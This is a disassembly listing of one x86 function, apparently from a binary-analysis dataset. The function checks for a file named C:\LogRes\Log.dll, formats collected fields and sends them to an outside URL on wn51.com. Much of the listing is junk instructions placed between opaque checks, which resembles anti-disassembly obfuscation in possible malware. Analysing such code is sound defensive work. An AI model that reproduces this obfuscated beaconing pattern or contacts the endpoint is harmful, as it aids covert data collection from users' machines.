Function at 0x40f960
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a3052
mov eax, dword fs:[0]
push eax
mov eax, 0x1d4c
call fcn.00437070
mov eax, dword [0x62e10c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d50], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1d4c], eax
mov byte [ebp - 0x1d46], 1
call fcn.00425000
test al, al
je 0x40f9c2
sal byte [ecx + edx + 6], 0xe2
pop ds
push es
loop 0x40f9d3
in al, dx
lahf
test dword [edi + ebx*4], esp
js 0x40f9ae
sub ebx, dword [0xf18769d5]
shr eax, cl
inc edx
push ebx
add dword [eax], eax
call fcn.00424d09
test al, al
je 0x40f9ea
wait
xor al, byte [esi]
scasd eax, dword es:[edi]
mov bh, 0x47
push 0x4c1c1914
sbb dword [esp + ecx*2], ebx
xor al, byte [ecx + 0x27a8a39a]
or cl, cl
lodsd eax, dword [esi]
mov ah, 0x4f
nop
mov eax, 0x9855e31c
cmp eax, 0x37e830a1
push ecx
add dword [eax], eax
call fcn.00424b26
test al, al
je 0x40fa09
xchg edi, eax
invalid
push 0x11
xor eax, eax
mov dword [ebp - 0x1ce8], 7
push str.C:LogResLog.dll
lea ecx, [ebp - 0x1cfc]
mov dword [ebp - 0x1cec], 0
mov word [ebp - 0x1cfc], ax
call fcn.00401ac0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1cfc]
cmp dword [ebp - 0x1ce8], 8
cmovae eax, dword [ebp - 0x1cfc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movzx ecx, byte [ebp - 0x1d46]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x1d54], ecx
call fcn.00424e62
test al, al
je 0x40fa8e
sub dh, al
and eax, dword [edi - 0x31df60df]
call 0x732c5b57
out dx, eax
mov bh, 0x96
test byte [edx + 0x10cb4112], dl
call fcn.00424bf5
test al, al
je 0x40faaf
jge 0x40fa9a
cmp ah, byte [esi + edi - 0x208b6027]
xor eax, ecx
movsb byte es:[edi], byte [esi]
fstp dword ds:[edi - 0x3ecc208c]
or byte [edx + 0x39], ch
cmp eax, dword [ecx - 0x3f2cf811]
push ebp
movsd dword es:[edi], dword [esi]
pop esi
pushal
call fcn.00424c7f
test al, al
je 0x40fad0
sbb byte [eax + 0x4d], dl
cli
pop ebp
mov ebx, 0x4498182d
adc eax, 0x96739850
sub al, 0x79
out dx, eax
add dword [edi - 0x43], ebx
add dword [edx - 0x1d534280], esi
invalid
cmp byte [ebp - 0x1d54], 0
je 0x40fb09
push 0x270f
push 0
xor bl, bl
call fcn.00424891
add esp, 8
movzx ebx, bl
cmp eax, 0x64
mov ecx, 1
cmovle ebx, ecx
call fcn.00425328
test eax, eax
jne 0x40fb09
test bl, bl
je 0x40ff56
mov edx, dword [ebp - 0x1d4c]
mov dword [ebp - 0x1d30], 0xf
mov dword [ebp - 0x1d34], 0
mov byte [ebp - 0x1d44], 0
cmp byte [edx], 0
jne 0x40fb33
xor ecx, ecx
jmp 0x40fb41
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fb38
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1d44]
call fcn.00401d70
lea eax, [ebp - 0x1d44]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1ce4]
push eax
call int.004281cb
add esp, 8
lea ecx, [ebp - 0x1d44]
mov byte [ebp - 4], 3
call fcn.00401930
cmp dword [ebp - 0x1cd0], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push ecx
push eax
call fcn.0042162d
add esp, 8
call fcn.00424e1d
test al, al
je 0x40fbb6
mov byte [0x9819a0c6], al
mov byte [0xa22521d5], al
push 0xffffffffffffffba
invalid
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00446a10
add esp, 0xc
call fcn.0042508a
test al, al
je 0x40fbe5
pop es
mov ebp, 0x450a12bb
sti
or edi, esp
add eax, 0xb7d75f50
inc esp
mov ebx, dword fs:[ebp - 0x1d50]
mov ebx, dword [ebp - 0x1d50]
cmp dword [ebx + 0xcc], 0x10
lea eax, [ebx + 0xb8]
jb 0x40fbfc
mov eax, dword [eax]
cmp dword [ebx + 0x54], 0x10
lea ecx, [ebx + 0x40]
jb 0x40fc07
mov ecx, dword [ecx]
cmp dword [ebx + 0x9c], 0x10
lea edx, [ebx + 0x88]
jb 0x40fc18
mov edx, dword [edx]
cmp dword [ebx + 0x84], 0x10
lea esi, [ebx + 0x70]
jb 0x40fc26
mov esi, dword [esi]
add ebx, 0x28
cmp dword [ebx + 0x14], 0x10
jb 0x40fc31
mov ebx, dword [ebx]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x114]
push eax
push ecx
push edx
push esi
push ebx
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.00409ac0
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00446a10
add esp, 0x30
mov dword [ebp - 0x1d58], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1d18], 0xf
mov dword [ebp - 0x1d1c], 0
mov byte [ebp - 0x1d2c], 0
jne 0x40fc99
xor ecx, ecx
jmp 0x40fcab
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fca2
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1d2c]
call fcn.00401d70
lea ecx, [ebp - 0x1d58]
mov byte [ebp - 4], 4
cmp dword [ebp - 0x1d18], 0x10
lea eax, [ebp - 0x1d2c]
push ecx
cmovae eax, dword [ebp - 0x1d2c]
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1d1c]
push eax
call fcn.0043d7aa
add esp, 0x10
call fcn.00424fbb
test al, al
je 0x40fd0e
adc ah, byte [edi + esi*2 + 0x1c12f7d0]
or ah, bl
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
ja 0x40fccf
not dword [edx]
sbb al, 0xa
jecxz 0x40fca9
xor al, 0x28
aaa
outsb dx, byte [esi]
adc byte [ebx - 0x44727291], 0xe2
invalid
lea ecx, [ebp - 0x1d45]
call fcn.00403160
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1d45]
call fcn.0043d194
call fcn.00424eec
test al, al
je 0x40fd53
jl 0x40fcfb
or ebx, ebp
sub dl, byte [edx + 0x75f55c68]
push es
wait
push edi
cmpsb byte [esi], byte es:[edi]
jne 0x40fda3
into
fist dword [ebp - 0x3d86db76]
std
or ch, byte [ebx + 0x4c]
call fcn.00424d4e
test al, al
je 0x40fd71
inc esi
arpl word [eax], si
loopne 0x40fd50
in al, dx
and dword [esi + 0x1a358b8e], edx
retf
call fcn.00424ea7
test al, al
je 0x40fd8c
adc edx, dword [ebx]
ror dword [ecx - 0x12], cl
sub dword [edi], ebx
stc
frstor dword [esi - 0x7e]
mov edi, 0x7966e73
in al, dx
cmpsd dword [esi], dword es:[edi]
push 0x45
push str.https:__tjtv3.wn51.com__6075554d87c54ec2771e66409270e621de961b5ac5
lea ecx, [ebp - 0x1d14]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
call fcn.00401d70
mov byte [ebp - 4], 6
cmp byte [ebp - 0xccc], 0
jne 0x40fdca
xor ecx, ecx
jmp 0x40fddc
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fdd3
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1d14]
call fcn.004071a0
call fcn.00424dd8
test al, al
je 0x40fe0c
sbb esi, dword [eax - 0xa]
push 0xffffffffffffff99
leave
fisub dword [esi]
add byte [edx - 0x62], ah
inc ecx
cmp al, 3
cmp byte [eax + 0x24], dh
loop 0x40fdfb
int3
call fcn.00424bf5
test al, al
je 0x40fe33
xchg byte [edi], al
and byte [eax - 0x113e2416], bh
sbb byte [edi + ecx + 0x4d], ch
leave
pop esi
call 0xcfd229b
dec edi
mov byte [edx + 0x4c], 0xbe
pop ebp
or al, 0xe6
fld xword [eax]
call fcn.00424cc4
test al, al
je 0x40fe5b
sti
mov ah, 0xe
scasd eax, dword es:[edi]
add byte [edi + 0x7e], al
retf 0x55de
call fcn.00424a57
test al, al
je 0x40fe74
sub al, 0xb9
push 0x3e0ee673
inc byte [edi]
mov ecx, 0xee67368
inc byte ds:[edi]
mov esi, 0xea3b0fb2
mov ecx, 0xe300bd83
invalid
cmp dword [ebp - 0x1d00], 0x10
lea eax, [ebp - 0x1d14]
cmovae eax, dword [ebp - 0x1d14]
push eax
call fcn.00410500
mov dword [ebp - 0x1d4c], eax
call fcn.00424eec
test al, al
je 0x40feba
xchg edx, eax
scasb al, byte es:[edi]
iretd
call fcn.00425000
test al, al
je 0x40fee1
mov cl, 0x6b
movsb byte es:[edi], byte [esi]
pop ss
sbb cl, cl
stc
push ds
push ebx
add byte [eax - 0x39feca9c], dl
scasb al, byte es:[edi]
scasb al, byte es:[edi]
jl 0x40fe60
add dl, byte [ebx - 0xe]
jo 0x40fe66
int1
mov ebp, 0xf025c877
cmp dword [ebp - 0x1d4c], 0
jne 0x40fefa
mov ecx, dword [ebp - 0x1d50]
push 0x6237e8
call fcn.00410730
lea ecx, [ebp - 0x1d14]
call fcn.00401930
lea ecx, [ebp - 0x1d45]
call fcn.004014b0
lea ecx, [ebp - 0x1d2c]
call fcn.00401930
mov eax, dword [ebp - 0x1cd0]
cmp eax, 8
jb 0x40ff39
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.00401fa0
xor eax, eax
mov dword [ebp - 0x1cd0], 7
mov dword [ebp - 0x1cd4], 0
mov word [ebp - 0x1ce4], ax
mov eax, dword [ebp - 0x1ce8]
cmp eax, 8
jb 0x40ff74
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00401fa0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043671f
mov esp, ebp
pop ebp
ret 0x10